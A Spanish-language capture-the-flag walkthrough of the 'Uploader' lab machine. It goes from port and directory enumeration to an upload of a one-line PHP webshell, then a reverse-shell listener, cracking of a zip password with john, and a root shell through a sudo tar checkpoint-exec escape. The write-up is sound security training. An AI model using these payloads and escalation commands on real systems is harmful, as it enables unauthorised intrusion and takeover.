Uploader


Enumeration
Vamos a empezar con un escaneo nmap
para detectar que puertos corren en la máquina y con que servicios:
- Lanzaré un escaneo para detectar que puertos están abiertos:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/nmap]
└─$ nmap -p- -sS -n -Pn -vvv 192.168.1.161
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 19:10 CEST
Initiating ARP Ping Scan at 19:10
Scanning 192.168.1.161 [1 port]
Completed ARP Ping Scan at 19:10, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:10
Scanning 192.168.1.161 [65535 ports]
Discovered open port 80/tcp on 192.168.1.161
Completed SYN Stealth Scan at 19:10, 0.99s elapsed (65535 total ports)
Nmap scan report for 192.168.1.161
Host is up, received arp-response (0.00045s latency).
Scanned at 2025-08-22 19:10:30 CEST for 1s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:79:C0:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
- Vemos que unicamente esta abierto el puerto
80
, vamos a realizar un segundo escaneo para ver que servicio y versión de el están corriendo:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/nmap]
└─$ nmap -p80 -sCV 192.168.1.161
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 19:12 CEST
Nmap scan report for 192.168.1.161
Host is up (0.00017s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Uploader File Storage
MAC Address: 08:00:27:79:C0:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds
Bien vemos un Apache
cuya versión corriendo es la 2.4.58
. Vamos a ver la aplicación web:

Vemos que es una aplicación donde podemos guardar nuestro archivos en la nube. Vamos a darle al botón donde pone Subir Archivos Ahora
:

Vemos que nos redirige a upload.php
y vemos un formulario de subida de archivos. Vamos a probar a subir un .txt
para ver que hace con nuestro archivo:
test.txt:
test

Vemos que se a subido y podemos fijarnos que le otorga un id dd18bf3a
. Vamos a hacer fuzzing con ffuf
para ver en que directorio se suben y ver si existen otros archivos o directorios en la aplicación:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.161/FUZZ" -e .php,.html,.txt,.js
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.1.161/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .php .html .txt .js
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
uploads [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 0ms]
upload.php [Status: 200, Size: 3277, Words: 1202, Lines: 114, Duration: 0ms]
index.html [Status: 200, Size: 3968, Words: 1429, Lines: 140, Duration: 237ms]
Vemos el directorio uploads
, vamos a ver si hay un Directory Listing y podemos encontrar nuestro archivo test.txt
:

Vemos un Directory Listing, vemos una carpeta llamada cloud_534461
. Vamos a ver que hay en ella:

Vemos el archivo test.txt
!! Y si le damos vemos que tiene el mismo contenido con el que lo subimos. Ahora probaremos a subir una webshell básica en PHP.
Shell as www-data
Vamos a crear un archivo llamado cmd.php
con el siguiente contenido:
<?php
system($_GET[0]);
?>
Ahora lo subiremos en la web y lo buscaremos en el directorio uploads
:

Vale ahora vamos a entrar al archivo y emplear el parámetro 0
que es el que está esperando por el método GET
cualquier tipo de input para ejecutarlo en el sistema que en este caso es el servidor de la aplicación web. Vamos a probar a ejecutar whoami
:

Bien!! Tenemos ejecución remota de código, ahora nos enviaremos una reverse shell:
Mi máquina:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
Webshell aplicación web:
Shell as operatorx
Bien!! Somos www-data
, vamos a leer el /etc/passwd
para ver que otros usuarios existen en el sistema:
www-data@TheHackersLabs-Operator:/var/www/html/uploads/cloud_1f4f7c$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
operatorx:x:1000:1000:operator:/home/operatorx:/bin/bash
Vemos el usuario operatorx
, vamos a ver el directorio /home/
para ver si tenemos permisos para acceder en su home
:
www-data@TheHackersLabs-Operator:/home$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Aug 19 21:49 .
drwxr-xr-x 23 root root 4096 Aug 7 02:36 ..
-rw-r--r-- 1 root root 66 Aug 19 21:49 Readme.txt
drwxr-x--- 5 operatorx operatorx 4096 Aug 8 17:43 operatorx
Vemos que no tenemos permisos para acceder a su home pero vemos un archivo llamado Readme.txt
donde otros tienen el permiso de lectura así que podemos leerlo:
www-data@TheHackersLabs-Operator:/home$ cat Readme.txt
He guardado mi archivo zip más importante en un lugar secreto.
Vamos a buscar algún archivo con la extensión .zip
en el sistema, para ello usaré find
:
www-data@TheHackersLabs-Operator:/home$ find / -name *.zip 2>/dev/null
/srv/secret/File.zip
Encontramos el .zip
!! Vamos a intentar descomprimirlo:
www-data@TheHackersLabs-Operator:/srv/secret$ unzip File.zip
Command 'unzip' not found, but can be installed with:
apt install unzip
Please ask your administrator.
Vemos que el sistema no tiene unzip
instalado, con which
comprobé que el sistema tenga instalado python3
para abrir un servidor por el puerto 9090
y descargarme el .zip
en mi máquina:
www-data@TheHackersLabs-Operator:/srv/secret$ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
Ahora nos descargaremos el .zip
:
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ wget 192.168.1.161:9090/File.zip
Prepended http:// to '192.168.1.161:9090/File.zip'
--2025-08-22 19:34:42-- http://192.168.1.161:9090/File.zip
Connecting to 192.168.1.161:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 430 [application/zip]
Saving to: ‘File.zip’
File.zip 100%[====================================================================================================>] 430 --.-KB/s in 0.02s
2025-08-22 19:34:42 (20.5 KB/s) - ‘File.zip’ saved [430/430]
Ahora vamos a intentar descomprimirlo:

Vemos que tiene contraseña, vamos a usar zip2john
para sacar el hash del .zip
y crackearlo con john
:
- zip2john
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ zip2john File.zip > hash
ver 2.0 File.zip/Credentials/ is not encrypted, or stored with non-handled compression type
- john
┌──(pylon㉿kali)-[~/…/pylon/THL/Uploader/content]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 512/512 AVX512BW 16x])
Cost 1 (HMAC size) is 64 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
121288 (File.zip/Credentials/Credentials.txt)
1g 0:00:00:00 DONE (2025-08-22 19:36) 14.28g/s 234057p/s 234057c/s 234057C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos las credenciales!! Vamos a descomprimirlo:

Vemos que nos crea un directorio llamado Credentials
y dentro de el hay un archivo llamado Credentials.txt
con el siguiente contenido:
User: operatorx
Password: d0970714757783e6cf17b26fb8e2298f
Vemos que nos da la contraseña del usuario operatorx
, por el formato identifico que es un MD5, así que lo pasaré por crackstation:

Tenemos las credenciales de operatorx
!!
Shell as root
Ya como operatorx
vamos a ver si tenemos algún permiso SUDOER:
operatorx@TheHackersLabs-Operator:/srv/secret$ sudo -l
Matching Defaults entries for operatorx on TheHackersLabs-Operator:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operatorx may run the following commands on TheHackersLabs-Operator:
(ALL) NOPASSWD: /usr/bin/tar
Vemos que podemos usar el binario tar
como cualquier usuario sin necesidad de contraseña. Buscando por GTFOBins nos dán lo siguiente:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Vamos a probarlo:
operatorx@TheHackersLabs-Operator:/srv/secret$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
root@TheHackersLabs-Operator:/srv/secret# whoami
root
root! ;)